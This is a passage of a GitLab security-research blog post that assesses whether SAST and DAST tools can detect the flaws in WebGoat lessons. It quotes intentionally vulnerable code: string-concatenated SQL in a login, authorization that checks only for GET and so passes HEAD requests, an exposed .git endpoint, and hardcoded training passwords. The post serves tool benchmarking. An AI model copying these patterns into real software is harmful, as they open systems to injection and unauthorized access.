webgoat-lessons/ssrf/src/main/java/org/owasp/webgoat/ssrf/SSRFTask1.java\n\n**Lesson:**\n\nThis lesson does not contain a real vulnerability, it is only for demonstration purposes for modifying parameters.\n\n```text\nwebgoat-lessons/ssrf/src/main/java/org/owasp/webgoat/ssrf/SSRFTask1.java#44-66\n\nprotected AttackResult stealTheCheese(String url) {\n    try {\n        StringBuffer html = new StringBuffer();\n\n        if (url.matches(\"images/tom.png\")) {\n            html.append(\"\u003Cimg class=\\\"image\\\" alt=\\\"Tom\\\" src=\\\"images/tom.png\\\" width=\\\"25%\\\" height=\\\"25%\\\">\");\n            return failed(this)\n                    .feedback(\"ssrf.tom\")\n                    .output(html.toString())\n                    .build();\n        } else if (url.matches(\"images/jerry.png\")) {\n            html.append(\"\u003Cimg class=\\\"image\\\" alt=\\\"Jerry\\\" src=\\\"images/jerry.png\\\" width=\\\"25%\\\" height=\\\"25%\\\">\");\n            return success(this)\n                    .feedback(\"ssrf.success\")\n                    .output(html.toString())\n                    .build();\n        } else {\n            html.append(\"\u003Cimg class=\\\"image\\\" alt=\\\"Silly Cat\\\" src=\\\"images/cat.jpg\\\">\");\n            return failed(this)\n                    .feedback(\"ssrf.failure\")\n                    .output(html.toString())\n                    .build();\n        }\n```\n\n**Can SAST Find?** - Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThis endpoint does not contain any SSRF issues, it simply does a string match and returns different results.\n\n**DAST Reasoning:**\n\nThis endpoint does not contain any SSRF issues.\n\n---\n\n### (A8:2013) Request Forgeries > Server-Side Request Forgery >\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/SSRF.lesson/2`\n\n**Source:** - webgoat-lessons/ssrf/src/main/java/org/owasp/webgoat/ssrf/SSRFTask2.java\n\n**Lesson:**\n\nThis lesson is for exploiting SSRF but limits the user to a single URL that must exactly match `http://ifconfig.pro`.\n\n```text\nwebgoat-lessons/ssrf/src/main/java/org/owasp/webgoat/ssrf/SSRFTask2.java#L49-74\n\nprotected AttackResult furBall(String url) {\n        try {\n            StringBuffer html = new StringBuffer();\n\n            if (url.matches(\"http://ifconfig.pro\")) {\n                URL u = new URL(url);\n                URLConnection urlConnection = u.openConnection();\n                BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));\n                String inputLine;\n\n                while ((inputLine = in.readLine()) != null) {\n                    html.append(inputLine);\n                }\n                in.close();\n\n                return success(this)\n                        .feedback(\"ssrf.success\")\n                        .output(html.toString())\n                        .build();\n            } else {\n                html.append(\"\u003Cimg class=\\\"image\\\" alt=\\\"image post\\\" src=\\\"images/cat.jpg\\\">\");\n                return failed(this)\n                        .feedback(\"ssrf.failure\")\n                        .output(html.toString())\n                        .build();\n            }\n\n```\n\n**Can SAST Find?** - Possible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nA SAST tool may report that this endpoint is vulnerable due to the user provided `url` parameter being used in a `URLConnection.openConnection()` call. In reality, this is not an exploitable flaw since the URL must exactly match `http://ifconfig.pro`\n\n**DAST Reasoning:**\n\nA DAST tool attempting SSRF injection attacks will most likely use a callback server to receive a forced request from the target application. Since the value is technically hardcoded, there is no way for a DAST tool to know if the endpoint is using a user provided value in construction of the `URLConnection.openConnection()` call.\n\n---\n\u003C/details>\n\n## Client side\n\n---\n\nThese lessons are just demonstrations of bypassing client side restrictions – since there is no real business logic to exploit they do not contain any real exploitable flaws.\n---\n\n## Challenges\n\n---\n\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n### Challenges > Admin lost password\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/Challenge1.lesson/1`\n\n**Source:** - webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge1/Assignment1.java\n- webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge1/ImageServlet.java\n- webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/SolutionConstants.java\n\n**Challenge:**\n\nThe purpose of this challenge is to find the hidden pin code embedded in the logo and replace the hardcoded password's 1234 with the value.\n```text\n\nwebgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge1/ImageServlet.java#L23-37\n\nprotected void doGet(HttpServletRequest request, HttpServletResponse response)\n        throws ServletException, IOException {\n\n    byte[] in = new ClassPathResource(\"images/webgoat2.png\").getInputStream().readAllBytes();\n\n    String pincode = String.format(\"%04d\", PINCODE);\n\n    in[81216]=(byte) pincode.charAt(0);\n    in[81217]=(byte) pincode.charAt(1);\n    in[81218]=(byte) pincode.charAt(2);\n    in[81219]=(byte) pincode.charAt(3);\n\n    response.setContentType(MediaType.IMAGE_PNG_VALUE);\n    FileCopyUtils.copy(in, response.getOutputStream());\n}\n\nwebgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/SolutionConstants.java#L34-36\n\nString PASSWORD = \"!!webgoat_admin_1234!!\";\nString PASSWORD_TOM = \"thisisasecretfortomonly\";\nString ADMIN_PASSWORD_LINK = \"375afe1104f4a487a73823c50a9292a2\";\n```\n\n**Can SAST Find?** - Possible (different issue)\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThere is no real vulnerability here for a SAST tool to alert on that would match the purpose of the assignment. However, SAST tools will most likely flag hardcoded credentials in `SolutionConstants.java`.\n\n**DAST Reasoning:**\n\nThere is no real vulnerability here for a DAST tool to alert on that would match the purpose of the assignment.\n---\n\n### Challenges > Without password\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/Challenge5.lesson`\n\n**Source:** - webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java\n\n**Challenge:**\n\nThe purpose of this challenge is to login as `Larry` without knowing his password. This can be achieved by exploiting a SQL Injection vulnerability.\n```text\n\nwebgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java#L51-68\n\npublic AttackResult login(@RequestParam String username_login, @RequestParam String password_login) throws Exception {\n        if (!StringUtils.hasText(username_login) || !StringUtils.hasText(password_login)) {\n            return failed(this).feedback(\"required4\").build();\n        }\n        if (!\"Larry\".equals(username_login)) {\n            return failed(this).feedback(\"user.not.larry\").feedbackArgs(username_login).build();\n        }\n        try (var connection = dataSource.getConnection()) {\n            PreparedStatement statement = connection.prepareStatement(\"select password from challenge_users where userid = '\" + username_login + \"' and password = '\" + password_login + \"'\");\n            ResultSet resultSet = statement.executeQuery();\n\n            if (resultSet.next()) {\n                return success(this).feedback(\"challenge.solved\").feedbackArgs(Flag.FLAGS.get(5)).build();\n            } else {\n                return failed(this).feedback(\"challenge.close\").build();\n            }\n        }\n    }\n```\n\n**Can SAST Find?** - Possible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nWhile the SQL query is a prepared statement, `username_login` and `password_login` fields are dynamically inserted into the query statement. A SAST tool should identify that the query string is concatenated with user input on line 59.\n\n**DAST Reasoning:**\n\nA DAST tool would most likely not find this vulnerability due to the username being checked against the hardcoded `Larry` value. A DAST tool would need to be configured for this particular page to use the `Larry` username, and then attempt SQL Injection.\n\n---\n\n### Challenges > Admin password reset\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/Challenge7.lesson`\n\n**Source:** - webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/Assignment7.java\n\n**Challenge:**\n\nThe purpose of this challenge is to find the synthetic `.git` repository accessible at the `/WebGoat/challenge/7/.git` endpoint. Then extract the git files, decompile classes and run them to generate the password reset link password.\n```text\nwebgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/Assignment7.java#L76-80\n\n@GetMapping(value = \"/challenge/7/.git\", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE)\n@ResponseBody\npublic ClassPathResource git() {\n    return new ClassPathResource(\"challenge7/git.zip\");\n}\n\nwebgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/SolutionConstants.java#L34-36\n\nString PASSWORD = \"!!webgoat_admin_1234!!\";\nString PASSWORD_TOM = \"thisisasecretfortomonly\";\nString ADMIN_PASSWORD_LINK = \"375afe1104f4a487a73823c50a9292a2\";\n```\n\n**Can SAST Find?** - Possible (different issue)\n\n**Can DAST Find?**\n- Possible (different issue)\n\n**SAST Reasoning:**\n\nThis is a fake vulnerability that hard codes a git index file to a spring `GetMapping` endpoint. However, a SAST tool would most likely flag the hardcoded credentials in `SolutionConstants.java` on line 36.\n\n**DAST Reasoning:**\n\nDAST tools commonly look for backup or known files, `.git` is usually ne of them. A DAST tool would attempt to find these files in each directory path and should report that the `/WebGoat/challenge/7/.git` git index is accessible. While it may attempt to decompile classes it would be unable to know that it's necessary to run a particular file.\n\n---\n\n### Challenges > Without account\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/Challenge8.lesson`\n\n**Source:** - webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge8/Assignment8.java\n\n**Challenge:**\n\nThe purpose of this challenge is to add a vote without logging in. This is a synthetic vulnerability due to the fact that it only checks if the request is a `GET` request but there's no real authorization checks. It is \"exploitable\" because it does not account for `HEAD` request method types.\n\n```text\n\nwebgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/Assignment7.java#L76-80\n\n@GetMapping(value = \"/challenge/8/vote/{stars}\", produces = MediaType.APPLICATION_JSON_VALUE)\n    @ResponseBody\n    public ResponseEntity\u003C?> vote(@PathVariable(value = \"stars\") int nrOfStars, HttpServletRequest request) {\n        //Simple implementation of VERB Based Authentication\n        String msg = \"\";\n        if (request.getMethod().equals(\"GET\")) {\n            var json = Map.of(\"error\", true, \"message\", \"Sorry but you need to login first in order to vote\");\n            return ResponseEntity.status(200).body(json);\n        }\n        Integer allVotesForStar = votes.getOrDefault(nrOfStars, 0);\n        votes.put(nrOfStars, allVotesForStar + 1);\n        return ResponseEntity.ok().header(\"X-Flag\", \"Thanks for voting, your flag is: \" + Flag.FLAGS.get(8)).build();\n    }\n```\n\n**Can SAST Find?** - Impossible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nSince this is a synthetic vulnerability with no references to any authorization frameworks, there is nothing for a SAST tool to look for.\n\n**DAST Reasoning:**\n\nA DAST tool may attempt to switch request method types and do differential analysis to see if a `HEAD` request illicit a different response than a `GET` request.\n\n---\n\n\u003C/details>\n\n## Flaws outside of lessons\n\nThere are a large number of flaws that are not necessarily part of the lesson. However, SAST and DAST tools may still report on these issues as they are exploitable.\nSince tools will report on these issues, it is important to have a full set of all actual vulnerabilities that exist in WebGoat, or in any system used for benchmarking.\n## Conclusion\n\nWhile in GitLab's proprietary format, we decided to release our results so that other organizations using WebGoat as a target can identify which flaws are legitimate for both [SAST](https://gitlab.com/gitlab-org/vulnerability-research/blog/-/blob/master/security-benchmarking-webgoat/webgoat-expected-sast-results.json) and [DAST](https://gitlab.com/gitlab-org/vulnerability-research/blog/-/blob/master/security-benchmarking-webgoat/webgoat-expected-dast-results.json) based discovery.\nWebGoat is an excellent tool for learning about web application security. If your organization decides to use it to compare DAST and SAST tools you must be aware of the limitations and caveats during your analysis.\nWebGoat is by no means a \"real application\", while it does contain a common structure of a Spring Boot based application, its flaws are sometimes synthetic and code flow is not indicative of how real applications are built.\n\nGitLab recommends using more than one application as apart of your benchmarking process. This should include multiple languages, features and the levels of complexity that matches the applications used in your organization.\n\nCover image by [Bannon Morrissy](https://unsplash.com/@bannon15) on [Unsplash](https://unsplash.com)",[9,23,24],"security research","testing","yml",{},true,"/en-us/blog/how-to-benchmark-security-tools",{"title":15,"description":16,"ogTitle":15,"ogDescription":16,"noIndex":12,"ogImage":19,"ogUrl":30,"ogSiteName":31,"ogType":32,"canonicalUrls":30},"https://about.gitlab.com/blog/how-to-benchmark-security-tools","https://about.gitlab.com","article","en-us/blog/how-to-benchmark-security-tools",[9,35,24],"security-research","VbYGkiDEwpH6DZsveGHXmcC5MzGV9KLumF0LasUGhu4",{"data":38},{"logo":39,"freeTrial":44,"sales":49,"login":54,"items":59,"search":367,"minimal":398,"duo":417,"pricingDeployment":427},{"config":40},{"href":41,"dataGaName":42,"dataGaLocation":43},"/","gitlab logo","header",{"text":45,"config":46},"Get free trial",{"href":47,"dataGaName":48,"dataGaLocation":43},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com&glm_content=default-saas-trial/","free trial",{"text":50,"config":51},"Talk to sales",{"href":52,"dataGaName":53,"dataGaLocation":43},"/sales/","sales",{"text":55,"config":56},"Sign in",{"href":57,"dataGaName":58,"dataGaLocation":43},"https://gitlab.com/users/sign_in/","sign in",[60,87,182,187,288,348],{"text":61,"config":62,"cards":64},"Platform",{"dataNavLevelOne":63},"platform",[65,71,79],{"title":61,"description":66,"link":67},"The intelligent orchestration platform for DevSecOps",{"text":68,"config":69},"Explore our Platform",{"href":70,"dataGaName":63,"dataGaLocation":43},"/platform/",{"title":72,"description":73,"link":74},"GitLab Duo Agent Platform","Agentic AI for the entire software lifecycle",{"text":75,"config":76},"Meet GitLab Duo",{"href":77,"dataGaName":78,"dataGaLocation":43},"/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":80,"description":81,"link":82},"Why GitLab","See the top reasons enterprises choose GitLab",{"text":83,"config":84},"Learn more",{"href":85,"dataGaName":86,"dataGaLocation":43},"/why-gitlab/","why gitlab",{"text":88,"left":27,"config":89,"link":91,"lists":95,"footer":164},"Product",{"dataNavLevelOne":90},"solutions",{"text":92,"config":93},"View all Solutions",{"href":94,"dataGaName":90,"dataGaLocation":43},"/solutions/",[96,120,143],{"title":97,"description":98,"link":99,"items":104},"Automation","CI/CD and automation to accelerate deployment",{"config":100},{"icon":101,"href":102,"dataGaName":103,"dataGaLocation":43},"AutomatedCodeAlt","/solutions/delivery-automation/","automated software delivery",[105,109,112,116],{"text":106,"config":107},"CI/CD",{"href":108,"dataGaLocation":43,"dataGaName":106},"/solutions/continuous-integration/",{"text":72,"config":110},{"href":77,"dataGaLocation":43,"dataGaName":111},"gitlab duo agent platform - product menu",{"text":113,"config":114},"Source Code Management",{"href":115,"dataGaLocation":43,"dataGaName":113},"/solutions/source-code-management/",{"text":117,"config":118},"Automated Software Delivery",{"href":102,"dataGaLocation":43,"dataGaName":119},"Automated software delivery",{"title":121,"description":122,"link":123,"items":128},"Security","Deliver code faster without compromising security",{"config":124},{"href":125,"dataGaName":126,"dataGaLocation":43,"icon":127},"/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[129,133,138],{"text":130,"config":131},"Application Security Testing",{"href":125,"dataGaName":132,"dataGaLocation":43},"Application security testing",{"text":134,"config":135},"Software Supply Chain Security",{"href":136,"dataGaLocation":43,"dataGaName":137},"/solutions/supply-chain/","Software supply chain security",{"text":139,"config":140},"Software Compliance",{"href":141,"dataGaName":142,"dataGaLocation":43},"/solutions/software-compliance/","software compliance",{"title":144,"link":145,"items":150},"Measurement",{"config":146},{"icon":147,"href":148,"dataGaName":149,"dataGaLocation":43},"DigitalTransformation","/solutions/visibility-measurement/","visibility and measurement",[151,155,159],{"text":152,"config":153},"Visibility & Measurement",{"href":148,"dataGaLocation":43,"dataGaName":154},"Visibility and Measurement",{"text":156,"config":157},"Value Stream Management",{"href":158,"dataGaLocation":43,"dataGaName":156},"/solutions/value-stream-management/",{"text":160,"config":161},"Analytics & Insights",{"href":162,"dataGaLocation":43,"dataGaName":163},"/solutions/analytics-and-insights/","Analytics and insights",{"title":165,"items":166},"GitLab for",[167,172,177],{"text":168,"config":169},"Enterprise",{"href":170,"dataGaLocation":43,"dataGaName":171},"/enterprise/","enterprise",{"text":173,"config":174},"Small Business",{"href":175,"dataGaLocation":43,"dataGaName":176},"/small-business/","small business",{"text":178,"config":179},"Public Sector",{"href":180,"dataGaLocation":43,"dataGaName":181},"/solutions/public-sector/","public sector",{"text":183,"config":184},"Pricing",{"href":185,"dataGaName":186,"dataGaLocation":43,"dataNavLevelOne":186},"/pricing/","pricing",{"text":188,"config":189,"link":191,"lists":195,"feature":275},"Resources",{"dataNavLevelOne":190},"resources",{"text":192,"config":193},"View all resources",{"href":194,"dataGaName":190,"dataGaLocation":43},"/resources/",[196,229,247],{"title":197,"items":198},"Getting started",[199,204,209,214,219,224],{"text":200,"config":201},"Install",{"href":202,"dataGaName":203,"dataGaLocation":43},"/install/","install",{"text":205,"config":206},"Quick start guides",{"href":207,"dataGaName":208,"dataGaLocation":43},"/get-started/","quick setup checklists",{"text":210,"config":211},"Learn",{"href":212,"dataGaLocation":43,"dataGaName":213},"https://university.gitlab.com/","learn",{"text":215,"config":216},"Product documentation",{"href":217,"dataGaName":218,"dataGaLocation":43},"https://docs.gitlab.com/","product documentation",{"text":220,"config":221},"Best practice videos",{"href":222,"dataGaName":223,"dataGaLocation":43},"/getting-started-videos/","best practice videos",{"text":225,"config":226},"Integrations",{"href":227,"dataGaName":228,"dataGaLocation":43},"/integrations/","integrations",{"title":230,"items":231},"Discover",[232,237,242],{"text":233,"config":234},"Customer success stories",{"href":235,"dataGaName":236,"dataGaLocation":43},"/customers/","customer success stories",{"text":238,"config":239},"Blog",{"href":240,"dataGaName":241,"dataGaLocation":43},"/blog/","blog",{"text":243,"config":244},"Remote",{"href":245,"dataGaName":246,"dataGaLocation":43},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":248,"items":249},"Connect",[250,255,260,265,270],{"text":251,"config":252},"GitLab Services",{"href":253,"dataGaName":254,"dataGaLocation":43},"/services/","services",{"text":256,"config":257},"Community",{"href":258,"dataGaName":259,"dataGaLocation":43},"/community/","community",{"text":261,"config":262},"Forum",{"href":263,"dataGaName":264,"dataGaLocation":43},"https://forum.gitlab.com/","forum",{"text":266,"config":267},"Events",{"href":268,"dataGaName":269,"dataGaLocation":43},"/events/","events",{"text":271,"config":272},"Partners",{"href":273,"dataGaName":274,"dataGaLocation":43},"/partners/","partners",{"backgroundColor":276,"textColor":277,"text":278,"image":279,"link":283},"#2f2a6b","#fff","Insights for the future of software development",{"altText":280,"config":281},"the source promo card",{"src":282},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758208064/dzl0dbift9xdizyelkk4.svg",{"text":284,"config":285},"Read the latest",{"href":286,"dataGaName":287,"dataGaLocation":43},"/the-source/","the source",{"text":289,"config":290,"lists":292},"Company",{"dataNavLevelOne":291},"company",[293],{"items":294},[295,300,306,308,313,318,323,328,333,338,343],{"text":296,"config":297},"About",{"href":298,"dataGaName":299,"dataGaLocation":43},"/company/","about",{"text":301,"config":302,"footerGa":305},"Jobs",{"href":303,"dataGaName":304,"dataGaLocation":43},"/jobs/","jobs",{"dataGaName":304},{"text":266,"config":307},{"href":268,"dataGaName":269,"dataGaLocation":43},{"text":309,"config":310},"Leadership",{"href":311,"dataGaName":312,"dataGaLocation":43},"/company/team/e-group/","leadership",{"text":314,"config":315},"Team",{"href":316,"dataGaName":317,"dataGaLocation":43},"/company/team/","team",{"text":319,"config":320},"Handbook",{"href":321,"dataGaName":322,"dataGaLocation":43},"https://handbook.gitlab.com/","handbook",{"text":324,"config":325},"Investor relations",{"href":326,"dataGaName":327,"dataGaLocation":43},"https://ir.gitlab.com/","investor relations",{"text":329,"config":330},"Trust Center",{"href":331,"dataGaName":332,"dataGaLocation":43},"/security/","trust center",{"text":334,"config":335},"AI Transparency Center",{"href":336,"dataGaName":337,"dataGaLocation":43},"/ai-transparency-center/","ai transparency center",{"text":339,"config":340},"Newsletter",{"href":341,"dataGaName":342,"dataGaLocation":43},"/company/contact/#contact-forms","newsletter",{"text":344,"config":345},"Press",{"href":346,"dataGaName":347,"dataGaLocation":43},"/press/","press",{"text":349,"config":350,"lists":351},"Contact us",{"dataNavLevelOne":291},[352],{"items":353},[354,357,362],{"text":50,"config":355},{"href":52,"dataGaName":356,"dataGaLocation":43},"talk to sales",{"text":358,"config":359},"Support portal",{"href":360,"dataGaName":361,"dataGaLocation":43},"https://support.gitlab.com","support portal",{"text":363,"config":364},"Customer portal",{"href":365,"dataGaName":366,"dataGaLocation":43},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":368,"login":369,"suggestions":376},"Close",{"text":370,"link":371},"To search repositories and projects, login to",{"text":372,"config":373},"gitlab.com",{"href":57,"dataGaName":374,"dataGaLocation":375},"search login","search",{"text":377,"default":378},"Suggestions",[379,381,385,387,391,395],{"text":72,"config":380},{"href":77,"dataGaName":72,"dataGaLocation":375},{"text":382,"config":383},"Code Suggestions (AI)",{"href":384,"dataGaName":382,"dataGaLocation":375},"/solutions/code-suggestions/",{"text":106,"config":386},{"href":108,"dataGaName":106,"dataGaLocation":375},{"text":388,"config":389},"GitLab on AWS",{"href":390,"dataGaName":388,"dataGaLocation":375},"/partners/technology-partners/aws/",{"text":392,"config":393},"GitLab on Google Cloud",{"href":394,"dataGaName":392,"dataGaLocation":375},"/partners/technology-partners/google-cloud-platform/",{"text":396,"config":397},"Why GitLab?",{"href":85,"dataGaName":396,"dataGaLocation":375},{"freeTrial":399,"mobileIcon":404,"desktopIcon":409,"secondaryButton":412},{"text":400,"config":401},"Start free trial",{"href":402,"dataGaName":48,"dataGaLocation":403},"https://gitlab.com/-/trials/new/","nav",{"altText":405,"config":406},"Gitlab Icon",{"src":407,"dataGaName":408,"dataGaLocation":403},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":405,"config":410},{"src":411,"dataGaName":408,"dataGaLocation":403},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":413,"config":414},"Get Started",{"href":415,"dataGaName":416,"dataGaLocation":403},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/compare/gitlab-vs-github/","get started",{"freeTrial":418,"mobileIcon":423,"desktopIcon":425},{"text":419,"config":420},"Learn more about GitLab Duo",{"href":421,"dataGaName":422,"dataGaLocation":403},"/gitlab-duo/","gitlab duo",{"altText":405,"config":424},{"src":407,"dataGaName":408,"dataGaLocation":403},{"altText":405,"config":426},{"src":411,"dataGaName":408,"dataGaLocation":403},{"freeTrial":428,"mobileIcon":433,"desktopIcon":435},{"text":429,"config":430},"Back to pricing",{"href":185,"dataGaName":431,"dataGaLocation":403,"icon":432},"back to pricing","GoBack",{"altText":405,"config":434},{"src":407,"dataGaName":408,"dataGaLocation":403},{"altText":405,"config":436},{"src":411,"dataGaName":408,"dataGaLocation":403},{"title":438,"button":439,"config":444},"See how agentic AI transforms software delivery",{"text":440,"config":441},"Watch GitLab Transcend now",{"href":442,"dataGaName":443,"dataGaLocation":43},"/events/transcend/virtual/","transcend event",{"layout":445,"icon":446},"release","AiStar",{"data":448},{"text":449,"source":450,"edit":456,"contribute":461,"config":466,"items":471,"minimal":678},"Git is a trademark of Software Freedom Conservancy and our use of 'GitLab' is under license",{"text":451,"config":452},"View page source",{"href":453,"dataGaName":454,"dataGaLocation":455},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":457,"config":458},"Edit this page",{"href":459,"dataGaName":460,"dataGaLocation":455},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":462,"config":463},"Please contribute",{"href":464,"dataGaName":465,"dataGaLocation":455},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":467,"facebook":468,"youtube":469,"linkedin":470},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[472,519,573,617,644],{"title":183,"links":473,"subMenu":488},[474,478,483],{"text":475,"config":476},"View plans",{"href":185,"dataGaName":477,"dataGaLocation":455},"view plans",{"text":479,"config":480},"Why Premium?",{"href":481,"dataGaName":482,"dataGaLocation":455},"/pricing/premium/","why premium",{"text":484,"config":485},"Why Ultimate?",{"href":486,"dataGaName":487,"dataGaLocation":455},"/pricing/ultimate/","why ultimate",[489],{"title":490,"links":491},"Contact Us",[492,495,497,499,504,509,514],{"text":493,"config":494},"Contact sales",{"href":52,"dataGaName":53,"dataGaLocation":455},{"text":358,"config":496},{"href":360,"dataGaName":361,"dataGaLocation":455},{"text":363,"config":498},{"href":365,"dataGaName":366,"dataGaLocation":455},{"text":500,"config":501},"Status",{"href":502,"dataGaName":503,"dataGaLocation":455},"https://status.gitlab.com/","status",{"text":505,"config":506},"Terms of use",{"href":507,"dataGaName":508,"dataGaLocation":455},"/terms/","terms of use",{"text":510,"config":511},"Privacy statement",{"href":512,"dataGaName":513,"dataGaLocation":455},"/privacy/","privacy statement",{"text":515,"config":516},"Cookie preferences",{"dataGaName":517,"dataGaLocation":455,"id":518,"isOneTrustButton":27},"cookie preferences","ot-sdk-btn",{"title":88,"links":520,"subMenu":529},[521,525],{"text":522,"config":523},"DevSecOps platform",{"href":70,"dataGaName":524,"dataGaLocation":455},"devsecops platform",{"text":526,"config":527},"AI-Assisted Development",{"href":421,"dataGaName":528,"dataGaLocation":455},"ai-assisted development",[530],{"title":531,"links":532},"Topics",[533,538,543,548,553,558,563,568],{"text":534,"config":535},"CICD",{"href":536,"dataGaName":537,"dataGaLocation":455},"/topics/ci-cd/","cicd",{"text":539,"config":540},"GitOps",{"href":541,"dataGaName":542,"dataGaLocation":455},"/topics/gitops/","gitops",{"text":544,"config":545},"DevOps",{"href":546,"dataGaName":547,"dataGaLocation":455},"/topics/devops/","devops",{"text":549,"config":550},"Version Control",{"href":551,"dataGaName":552,"dataGaLocation":455},"/topics/version-control/","version control",{"text":554,"config":555},"DevSecOps",{"href":556,"dataGaName":557,"dataGaLocation":455},"/topics/devsecops/","devsecops",{"text":559,"config":560},"Cloud Native",{"href":561,"dataGaName":562,"dataGaLocation":455},"/topics/cloud-native/","cloud native",{"text":564,"config":565},"AI for Coding",{"href":566,"dataGaName":567,"dataGaLocation":455},"/topics/devops/ai-for-coding/","ai for coding",{"text":569,"config":570},"Agentic AI",{"href":571,"dataGaName":572,"dataGaLocation":455},"/topics/agentic-ai/","agentic ai",{"title":574,"links":575},"Solutions",[576,578,580,585,589,592,596,599,601,604,607,612],{"text":130,"config":577},{"href":125,"dataGaName":130,"dataGaLocation":455},{"text":119,"config":579},{"href":102,"dataGaName":103,"dataGaLocation":455},{"text":581,"config":582},"Agile development",{"href":583,"dataGaName":584,"dataGaLocation":455},"/solutions/agile-delivery/","agile delivery",{"text":586,"config":587},"SCM",{"href":115,"dataGaName":588,"dataGaLocation":455},"source code management",{"text":534,"config":590},{"href":108,"dataGaName":591,"dataGaLocation":455},"continuous integration & delivery",{"text":593,"config":594},"Value stream management",{"href":158,"dataGaName":595,"dataGaLocation":455},"value stream management",{"text":539,"config":597},{"href":598,"dataGaName":542,"dataGaLocation":455},"/solutions/gitops/",{"text":168,"config":600},{"href":170,"dataGaName":171,"dataGaLocation":455},{"text":602,"config":603},"Small business",{"href":175,"dataGaName":176,"dataGaLocation":455},{"text":605,"config":606},"Public sector",{"href":180,"dataGaName":181,"dataGaLocation":455},{"text":608,"config":609},"Education",{"href":610,"dataGaName":611,"dataGaLocation":455},"/solutions/education/","education",{"text":613,"config":614},"Financial services",{"href":615,"dataGaName":616,"dataGaLocation":455},"/solutions/finance/","financial services",{"title":188,"links":618},[619,621,623,625,628,630,632,634,636,638,640,642],{"text":200,"config":620},{"href":202,"dataGaName":203,"dataGaLocation":455},{"text":205,"config":622},{"href":207,"dataGaName":208,"dataGaLocation":455},{"text":210,"config":624},{"href":212,"dataGaName":213,"dataGaLocation":455},{"text":215,"config":626},{"href":217,"dataGaName":627,"dataGaLocation":455},"docs",{"text":238,"config":629},{"href":240,"dataGaName":241,"dataGaLocation":455},{"text":233,"config":631},{"href":235,"dataGaName":236,"dataGaLocation":455},{"text":243,"config":633},{"href":245,"dataGaName":246,"dataGaLocation":455},{"text":251,"config":635},{"href":253,"dataGaName":254,"dataGaLocation":455},{"text":256,"config":637},{"href":258,"dataGaName":259,"dataGaLocation":455},{"text":261,"config":639},{"href":263,"dataGaName":264,"dataGaLocation":455},{"text":266,"config":641},{"href":268,"dataGaName":269,"dataGaLocation":455},{"text":271,"config":643},{"href":273,"dataGaName":274,"dataGaLocation":455},{"title":289,"links":645},[646,648,650,652,654,656,658,662,667,669,671,673],{"text":296,"config":647},{"href":298,"dataGaName":291,"dataGaLocation":455},{"text":301,"config":649},{"href":303,"dataGaName":304,"dataGaLocation":455},{"text":309,"config":651},{"href":311,"dataGaName":312,"dataGaLocation":455},{"text":314,"config":653},{"href":316,"dataGaName":317,"dataGaLocation":455},{"text":319,"config":655},{"href":321,"dataGaName":322,"dataGaLocation":455},{"text":324,"config":657},{"href":326,"dataGaName":327,"dataGaLocation":455},{"text":659,"config":660},"Sustainability",{"href":661,"dataGaName":659,"dataGaLocation":455},"/sustainability/",{"text":663,"config":664},"Diversity, inclusion and belonging (DIB)",{"href":665,"dataGaName":666,"dataGaLocation":455},"/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":329,"config":668},{"href":331,"dataGaName":332,"dataGaLocation":455},{"text":339,"config":670},{"href":341,"dataGaName":342,"dataGaLocation":455},{"text":344,"config":672},{"href":346,"dataGaName":347,"dataGaLocation":455},{"text":674,"config":675},"Modern Slavery Transparency Statement",{"href":676,"dataGaName":677,"dataGaLocation":455},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency 